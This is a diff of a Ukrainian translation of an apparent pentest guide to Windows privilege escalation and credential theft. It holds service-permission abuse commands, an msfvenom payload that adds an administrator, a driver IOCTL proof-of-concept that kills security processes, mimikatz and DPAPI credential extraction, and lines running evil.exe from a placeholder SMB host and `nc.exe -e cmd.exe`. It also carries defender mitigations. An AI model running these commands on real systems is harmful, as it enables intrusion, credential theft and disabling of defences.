знаходиться бінарний файл ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Ви можете отримати всі бінарні файли, які виконує служба, за допомогою **wmic** (не в system32) та перевірити ваші дозволи за допомогою **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -519,10 +518,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Зміна дозволів реєстру служб +### Права на модифікацію реєстру служб -Вам слід перевірити, чи можете ви змінювати будь-який реєстр служби.\ -Ви можете **перевірити** свої **дозволи** щодо реєстру **служби**, виконавши: +Вам слід перевірити, чи можете ви змінити будь-який реєстр служб.\ +Ви можете **перевірити** свої **permissions** щодо реєстру служби, виконавши: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -531,23 +530,23 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Слід перевірити, чи мають **Authenticated Users** або **NT AUTHORITY\INTERACTIVE** дозволи `FullControl`. Якщо так, бінарний файл, який виконується сервісом, можна змінити. +Потрібно перевірити, чи **Authenticated Users** або **NT AUTHORITY\INTERACTIVE** мають права `FullControl`. Якщо так, бінарний файл, який виконується службою, можна змінити. -Щоб змінити Path виконуваного бінарного файлу: +Щоб змінити Path бінарного файлу, що виконується: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Дозволи AppendData/AddSubdirectory у реєстрі служб +### Services registry AppendData/AddSubdirectory permissions -Якщо у вас є цей дозвіл на реєстр, це означає, що **ви можете створювати підреєстри з цього**. У випадку служб Windows це **достатньо для виконання довільного коду:** +Якщо у вас є цей дозвіл над реєстром, це означає, що **ви можете створювати підреєстри всередині нього**. У випадку Windows services це **enough to execute arbitrary code:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Шляхи сервісів без лапок +### Unquoted Service Paths -Якщо шлях до виконуваного файлу не укладено в лапки, Windows спробує виконати кожну частину шляху до пробілу. +Якщо шлях до виконуваного файлу не укладено в лапки, Windows спробує виконати кожну частину, що передує пробілу. Наприклад, для шляху _C:\Program Files\Some Folder\Service.exe_ Windows спробує виконати: ```bash @@ -555,7 +554,7 @@ C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Перелічіть усі шляхи сервісів без лапок, за винятком тих, що належать вбудованим службам Windows: +Перелік усіх непроцитованих шляхів служб, за винятком тих, що належать вбудованим службам Windows: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -575,19 +574,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Ви можете виявити та експлуатувати** цю вразливість за допомогою metasploit: `exploit/windows/local/trusted\_service\_path` Ви можете вручну створити бінарний файл служби за допомогою metasploit: +**Ви можете виявити та експлуатувати** цю вразливість за допомогою metasploit: `exploit/windows/local/trusted\_service\_path` Ви можете вручну створити виконуваний файл служби за допомогою metasploit: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Дії відновлення -Windows дозволяє користувачам вказувати дії, які мають бути виконані у разі збою служби. Цю функцію можна налаштувати так, щоб вона вказувала на бінарний файл. Якщо цей бінарний файл можна замінити, може бути можливим privilege escalation. Детальніше можна знайти в [офіційній документації](). +Windows дозволяє користувачам вказувати дії, які мають виконуватися у разі збою служби. Цю функцію можна налаштувати так, щоб вона вказувала на binary. Якщо цей binary можна замінити, можливе privilege escalation. Детальніше див. в [official documentation](). -## Програми +## Додатки -### Встановлені програми +### Встановлені додатки -Перевірте **права доступу до бінарних файлів** (можливо, ви зможете перезаписати один і виконати privilege escalation) та **папок** ([DLL Hijacking](dll-hijacking/index.html)). +Перевірте **permissions of the binaries** (можливо, ви зможете перезаписати якийсь і escalate privileges) та **folders** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -596,11 +595,11 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -### Write Permissions +### Права запису -Перевірте, чи можете ви змінити якийсь конфігураційний файл, щоб прочитати якийсь спеціальний файл, або чи можете змінити якийсь двійковий файл, що буде виконуватися під обліковим записом Administrator (schedtasks). +Перевірте, чи можете ви змінити якийсь config file, щоб прочитати якийсь спеціальний файл, або чи можете змінити якийсь binary, який буде виконаний обліковим записом Administrator (schedtasks). -Один зі способів знайти слабкі дозволи для папок/файлів у системі — зробити так: +Спосіб знайти слабкі дозволи на папки/файли в системі — зробити: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -623,9 +622,9 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` -### Запуск при завантаженні +### Запуск під час старту -**Перевірте, чи можете перезаписати якийсь registry або binary, який буде виконаний іншим користувачем.**\ +**Перевірте, чи можете перезаписати якийсь registry або binary, який буде виконуватися іншим користувачем.**\ **Прочитайте** **наступну сторінку**, щоб дізнатися більше про цікаві **autoruns locations to escalate privileges**: @@ -633,30 +632,63 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac privilege-escalation-with-autorun-binaries.md {{#endref}} -### Драйвери +### Drivers -Шукайте можливі **third party weird/vulnerable** драйвери +Шукайте можливі **сторонні підозрілі/вразливі** драйвери ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -Якщо драйвер надає примітив довільного читання/запису в ядро (поширено в погано реалізованих обробниках IOCTL), ви можете підвищити привілеї, викравши SYSTEM-токен безпосередньо з пам'яті ядра. Див. покрокову техніку тут: +Якщо драйвер надає довільний примітив читання/запису ядра (звично в погано реалізованих IOCTL-обробниках), ви можете підвищити привілеї, викравши SYSTEM token безпосередньо з пам'яті ядра. Див. покрокову техніку тут: {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} +#### Зловживання відсутністю FILE_DEVICE_SECURE_OPEN на device objects (LPE + EDR kill) + +Деякі підписані сторонні драйвери створюють свої device object зі строгим SDDL через IoCreateDeviceSecure, але забувають встановити FILE_DEVICE_SECURE_OPEN у DeviceCharacteristics. Без цього прапора secure DACL не застосовується, коли пристрій відкривається через шлях, що містить додатковий компонент, що дозволяє будь-якому непривілейованому користувачу отримати дескриптор, використавши namespace path, наприклад: + +- \\ .\\DeviceName\\anything +- \\ .\\amsdk\\anyfile (from a real-world case) + +Як тільки користувач може відкрити пристрій, привілейовані IOCTLs, які експонує драйвер, можуть бути використані для LPE та тамперингу. Приклади можливостей, помічених у реальному житті: +- Повернення дескрипторів з повним доступом до довільних процесів (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). +- Необмежене сире читання/запис диска (offline tampering, трюки для персистенції під час завантаження). +- Завершення довільних процесів, включно з Protected Process/Light (PP/PPL), що дозволяє AV/EDR kill з user land через kernel. + +Мінімальний PoC-патерн (user mode): +```c +// Example based on a vulnerable antimalware driver +#define IOCTL_REGISTER_PROCESS 0x80002010 +#define IOCTL_TERMINATE_PROCESS 0x80002048 + +HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); +DWORD me = GetCurrentProcessId(); +DWORD target = /* PID to kill or open */; +DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); +DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); +``` +Заходи пом'якшення для розробників +- Завжди встановлюйте FILE_DEVICE_SECURE_OPEN при створенні об'єктів пристрою, які мають бути обмежені DACL. +- Перевіряйте контекст виклику для привілейованих операцій. Додавайте перевірки PP/PPL перед тим, як дозволити завершення процесу або повернення handle. +- Обмежуйте IOCTLs (access masks, METHOD_*, input validation) і розглядайте брокерські моделі замість прямих привілеїв у ядрі. + +Ідеї для виявлення для захисників +- Моніторьте відкриття в user-mode підозрілих імен пристроїв (e.g., \\ .\\amsdk*) та певних послідовностей IOCTL, що свідчать про зловживання. +- Застосовуйте блокліст уразливих драйверів Microsoft (HVCI/WDAC/Smart App Control) та підтримуйте власні списки дозволених/заборонених. + ## PATH DLL Hijacking -Якщо у вас є **права запису в папці, яка присутня в PATH** ви можете зуміти перехопити DLL, яку завантажує процес, і **підвищити привілеї**. +If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**. -Перевірте права доступу всіх папок у PATH: +Перевірте дозволи всіх папок у PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Щоб дізнатися більше про те, як зловживати цією перевіркою: +Для отримання додаткової інформації про те, як зловживати цією перевіркою: {{#ref}} @@ -665,7 +697,7 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md ## Мережа -### Шари +### Спільні ресурси ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains @@ -675,37 +707,37 @@ net share #Check current shares ``` ### hosts file -Перевірте на наявність інших відомих комп'ютерів, жорстко прописаних у hosts file +Перевірте наявність інших відомих комп'ютерів, жорстко прописаних у hosts file ``` type C:\Windows\System32\drivers\etc\hosts ``` -### Мережеві інтерфейси & DNS +### Мережеві інтерфейси та DNS ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Відкриті порти +### Open Ports Перевірте наявність **обмежених сервісів** ззовні ```bash netstat -ano #Opened ports? ``` -### Маршрутна таблиця +### Таблиця маршрутизації ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ``` -### ARP таблиця +### ARP Таблиця ``` arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Firewall Rules +### Правила брандмауера -[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(переглянути правила, створити правила, вимкнути, вимкнути...)** +[**Перегляньте цю сторінку для команд, пов'язаних із брандмауером**](../basic-cmd-for-pentesters.md#firewall) **(перелік правил, створення правил, вимкнення, вимкнення...)** -Більше[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) +Більше[ команди для network enumeration тут](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash @@ -714,20 +746,20 @@ C:\Windows\System32\wsl.exe ``` Бінарний файл `bash.exe` також можна знайти в `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Якщо ви отримаєте root user, ви зможете прослуховувати будь-який порт (вперше, коли ви використовуєте `nc.exe` для прослуховування порту, з'явиться запит через GUI, чи слід дозволити `nc` у firewall). +Якщо ви отримаєте root user, ви зможете слухати будь-який порт (першого разу, коли ви використовуєте `nc.exe` для прослуховування порту, GUI запитає, чи слід дозволити `nc` у брандмауері). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -Щоб легко запустити bash як root, можна спробувати `--default-user root` +Щоб легко запустити bash як root, ви можете спробувати `--default-user root` -Ви можете дослідити файлову систему `WSL` у папці `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` +Ви можете переглянути файлову систему `WSL` у папці `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` -## Windows Облікові дані +## Windows Credentials -### Winlogon Облікові дані +### Winlogon Credentials ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" @@ -741,14 +773,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ``` ### Менеджер облікових даних / Windows vault -From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault зберігає облікові дані користувачів для серверів, вебсайтів та інших програм, у які може **Windows** **автоматично виконувати вхід за користувачів**. На перший погляд може здатися, що користувачі можуть зберігати свої облікові дані Facebook, Twitter, Gmail тощо, щоб браузери автоматично виконували вхід. Але це не так. +Взято з [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Windows Vault зберігає облікові дані користувачів для серверів, вебсайтів та інших програм, у які **Windows** може **автоматично входити від імені користувачів**. На перший погляд це може виглядати так, ніби користувачі можуть зберігати свої облікові дані Facebook, Twitter, Gmail тощо, щоб автоматично входити через браузери. Але це не так. -Windows Vault зберігає облікові дані, у які **Windows** може автоматично виконувати вхід, що означає: будь-який **Windows application that needs credentials to access a resource** (сервер або вебсайт) **can make use of this Credential Manager** & Windows Vault і може використовувати надані облікові дані замість того, щоб користувачі постійно вводили ім'я користувача та пароль. +Windows Vault зберігає облікові дані, які Windows може використовувати для автоматичного входу користувачів, що означає, що будь-який **Windows application that needs credentials to access a resource** (сервер або вебсайт) **може використовувати цей Credential Manager** & Windows Vault і використовуватиме надані облікові дані замість того, щоб користувачі постійно вводили ім'я користувача та пароль. -Якщо додатки не взаємодіють з Credential Manager, я не вважаю, що вони зможуть використовувати облікові дані для певного ресурсу. Тому, якщо ваш додаток хоче використовувати сховище, йому слід якимось чином **спілкуватися з Credential Manager і запитувати облікові дані для цього ресурсу** з сховища за замовчуванням. +Якщо застосунки не взаємодіють з Credential Manager, я не думаю, що вони зможуть використовувати облікові дані для певного ресурсу. Тому, якщо ваш застосунок хоче використовувати vault, він повинен якимось чином **зв'язатися з credential manager та запросити облікові дані для цього ресурсу** з сховища за замовчуванням. -Використайте `cmdkey`, щоб вивести список збережених облікових даних на машині. +Використайте `cmdkey` для виведення списку збережених облікових даних на машині. ```bash cmdkey /list Currently stored credentials: @@ -756,38 +788,38 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Потім ви можете використовувати `runas` з опцією `/savecred`, щоб скористатися збереженими обліковими даними. У наведеному прикладі викликається віддалена бінарна програма через SMB share. +Потім ви можете використовувати `runas` з опцією `/savecred`, щоб використати збережені облікові дані. У наведеному прикладі викликається віддалений бінарний файл через SMB share. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Використання `runas` з наданим набором облікових даних. +Використання `runas` з наданими обліковими даними. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Зауважте, що mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), або з [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -The **Data Protection API (DPAPI)** надає метод симетричного шифрування даних, що переважно використовується в операційній системі Windows для симетричного шифрування асиметричних приватних ключів. Це шифрування використовує секрет користувача або системи, який значно додає ентропії. +**API захисту даних (DPAPI)** надає метод симетричного шифрування даних, який переважно використовується в операційній системі Windows для симетричного шифрування асиметричних приватних ключів. Це шифрування використовує секрет користувача або системи, значно додаючи ентропії. -**DPAPI дозволяє шифрування ключів через симетричний ключ, який походить із секретів входу користувача**. У сценаріях системного шифрування воно використовує секрети автентифікації домену системи. +**DPAPI дозволяє шифрувати ключі через симетричний ключ, який виводиться з логін-секретів користувача**. У випадках системного шифрування він використовує секрети автентифікації домену системи. -Зашифровані RSA-ключі користувача з використанням DPAPI зберігаються в директорії `%APPDATA%\Microsoft\Protect\{SID}`, де `{SID}` представляє [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) користувача. **Ключ DPAPI, розташований спільно з головним ключем, що захищає приватні ключі користувача в тому ж файлі**, зазвичай складається з 64 байтів випадкових даних. (Важливо зазначити, що доступ до цієї директорії обмежений — неможливо перерахувати її вміст за допомогою команди `dir` в CMD, хоча її можна перелічити через PowerShell). +Зашифровані користувацькі RSA ключі, за допомогою DPAPI, зберігаються в каталозі `%APPDATA%\Microsoft\Protect\{SID}`, де `{SID}` позначає користувацький [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **Ключ DPAPI, що розташований разом із master key, який захищає приватні ключі користувача в тому ж файлі**, зазвичай складається з 64 байт випадкових даних. (Важливо зауважити, що доступ до цього каталогу обмежений, тому його вміст неможливо переглянути за допомогою команди `dir` в CMD, хоча його можна перелічити через PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Ви можете використати **mimikatz module** `dpapi::masterkey` з відповідними аргументами (`/pvk` або `/rpc`), щоб його розшифрувати. +Ви можете використати **mimikatz module** `dpapi::masterkey` з відповідними аргументами (`/pvk` або `/rpc`), щоб розшифрувати його. -Файли **облікових даних, захищені майстер-паролем**, зазвичай розташовані в: +**credentials files protected by the master password** зазвичай розташовані в: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Ви можете використовувати **mimikatz module** `dpapi::cred` з відповідним `/masterkey` для розшифрування.\ -Ви можете **extract many DPAPI** **masterkeys** from **memory** за допомогою модуля `sekurlsa::dpapi` (якщо ви root). +Ви можете використати **mimikatz module** `dpapi::cred` з відповідним `/masterkey` для розшифрування.\ +Ви можете **extract many DPAPI** **masterkeys** з **memory** за допомогою модуля `sekurlsa::dpapi` (якщо ви root). {{#ref}} @@ -796,9 +828,9 @@ dpapi-extracting-passwords.md ### PowerShell Credentials -**PowerShell credentials** часто використовуються для **scripting** та задач автоматизації як спосіб зручного зберігання зашифрованих облікових даних. Облікові дані захищено за допомогою **DPAPI**, що зазвичай означає, що їх можна розшифрувати лише тим самим користувачем на тому самому комп'ютері, на якому вони були створені. +**PowerShell credentials** часто використовуються для **scripting** та завдань автоматизації як спосіб зручного зберігання зашифрованих credentials. Credentials захищені за допомогою **DPAPI**, що зазвичай означає, що їх можна розшифрувати лише тим самим користувачем на тому самому комп'ютері, де вони були створені. -Щоб **розшифрувати** PS credentials з файлу, що містить їх, ви можете: +Щоб **decrypt** PS credentials з файлу, який їх містить, ви можете зробити: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -821,31 +853,31 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| ### Збережені RDP-підключення Їх можна знайти в `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -і в `HKCU\Software\Microsoft\Terminal Server Client\Servers\` +та в `HKCU\Software\Microsoft\Terminal Server Client\Servers\` ### Нещодавно виконані команди ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **Диспетчер облікових даних віддаленого робочого столу** +### **Диспетчер облікових даних Remote Desktop** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ -You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module +Ви можете **витягнути багато DPAPI masterkeys** з пам'яті за допомогою Mimikatz `sekurlsa::dpapi` модуля ### Sticky Notes -Користувачі часто використовують додаток StickyNotes на робочих станціях Windows, щоб **зберігати паролі** та іншу інформацію, не підозрюючи, що це файл бази даних. Цей файл знаходиться за адресою `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` і завжди варто його шукати та перевіряти. +Люди часто використовують додаток StickyNotes на робочих станціях Windows, щоб **зберігати паролі** та іншу інформацію, не усвідомлюючи, що це файл бази даних. Цей файл знаходиться за адресою `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` і завжди вартий пошуку та аналізу. ### AppCmd.exe -**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ -**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ -If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. +**Зверніть увагу, що для відновлення паролів з AppCmd.exe потрібно бути адміністратором і запускатися з рівнем високої цілісності.**\ +**AppCmd.exe** знаходиться в каталозі `%systemroot%\system32\inetsrv\`.\ +Якщо цей файл існує, то можливо, що деякі **credentials** були налаштовані і їх можна **відновити**. -This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +Цей код було витягнуто з [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -926,38 +958,38 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Перевірте, чи існує `C:\Windows\CCM\SCClient.exe` .\ -Інсталятори **запускаються з SYSTEM privileges**, багато з них вразливі до **DLL Sideloading (Інформація з** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Інсталятори **запускаються з SYSTEM privileges**, багато з них вразливі до **DLL Sideloading (інформація з** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## Файли та реєстр (Облікові дані) +## Файли та Registry (Credentials) ### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty SSH ключі хоста +### Putty SSH ключі хостів ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH ключі в реєстрі +### SSH keys у реєстрі -Приватні SSH-ключі можуть зберігатися в реєстровому ключі `HKCU\Software\OpenSSH\Agent\Keys`, тому слід перевірити, чи там є щось цікаве: +SSH private keys можуть зберігатися всередині ключа реєстру `HKCU\Software\OpenSSH\Agent\Keys`, тому вам слід перевірити, чи є там щось цікаве: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, збережений SSH key. Він збережений у зашифрованому вигляді, але може бути легко розшифрований за допомогою [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ -Детальніше про цю техніку тут: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, буде збережений SSH key. Він зберігається в зашифрованому вигляді, але його можна легко розшифрувати за допомогою [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Більше інформації про цю техніку тут: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Якщо служба `ssh-agent` не запущена і ви хочете, щоб вона автоматично запускалася під час завантаження, виконайте: +Якщо служба `ssh-agent` не запущена і ви хочете, щоб вона автоматично запускалася при завантаженні, виконайте: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Схоже, ця техніка більше не працює. Я спробував створити кілька ssh keys, додати їх за допомогою `ssh-add` і підключитися по ssh до машини. Регістр HKCU\Software\OpenSSH\Agent\Keys не існує, а procmon не виявив використання `dpapi.dll` під час аутентифікації асиметричним ключем. - +> Здається, ця техніка більше не діє. Я намагався створити кілька ssh-ключів, додати їх за допомогою `ssh-add` і увійти через ssh на машину. Реєстровий ключ HKCU\Software\OpenSSH\Agent\Keys не існує, а procmon не виявив використання `dpapi.dll` під час аутентифікації асиметричним ключем. + ### Файли без нагляду ``` C:\Windows\sysprep\sysprep.xml @@ -973,7 +1005,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -Ви також можете шукати ці файли за допомогою **metasploit**: _post/windows/gather/enum_unattend_ +Ви також можете шукати ці файли, використовуючи **metasploit**: _post/windows/gather/enum_unattend_ Приклад вмісту: ```xml @@ -994,7 +1026,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n ``` -### Резервні копії SAM & SYSTEM +### SAM & SYSTEM резервні копії ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM @@ -1004,7 +1036,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` -### Облікові дані хмари +### Хмарні облікові дані ```bash #From user home .aws\credentials @@ -1016,15 +1048,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Шукайте файл під назвою **SiteList.xml** +Шукайте файл з іменем **SiteList.xml** -### Кешований GPP Pasword +### Cached GPP Pasword -Раніше була доступна можливість розгортання власних локальних облікових записів адміністраторів на групі машин через Group Policy Preferences (GPP). Однак цей метод мав суттєві проблеми з безпекою. По-перше, Group Policy Objects (GPOs), що зберігаються як XML-файли в SYSVOL, були доступні будь-якому доменному користувачу. По-друге, паролі всередині цих GPP, зашифровані AES256 з використанням публічно документованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це становило серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї. +Раніше була доступна функція, що дозволяла розгортання кастомних локальних облікових записів адміністраторів на групі машин через Group Policy Preferences (GPP). Однак цей метод мав істотні вразливості. По-перше, Group Policy Objects (GPOs), що зберігаються як XML-файли в SYSVOL, могли бути доступні будь-якому доменному користувачу. По‑друге, паролі в цих GPP, зашифровані AES256 із використанням публічно задокументованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це створювало серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї. -Щоб зменшити ризик, була створена функція для сканування локально кешованих GPP-файлів, що містять поле "cpassword", яке не порожнє. При знаходженні такого файлу функція дешифрує пароль і повертає власний PowerShell об'єкт. Цей об'єкт включає деталі про GPP та місце розташування файлу, що допомагає ідентифікувати та усунути цю вразливість. +Щоб зменшити цей ризик, була розроблена функція, яка сканує локально кешовані GPP-файли на наявність поля "cpassword", яке не є порожнім. Після знаходження такого файлу функція розшифровує пароль і повертає кастомний PowerShell object. Цей об'єкт містить деталі про GPP та місце розташування файлу, що допомагає в ідентифікації та усуненні цієї вразливості. -Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: +Шукайте в `C:\ProgramData\Microsoft\Group Policy\history` або в _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (до W Vista)_ ці файли: - Groups.xml - Services.xml @@ -1056,7 +1088,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -Приклад web.config з credentials: +Приклад web.config з обліковими даними: ```xml @@ -1086,7 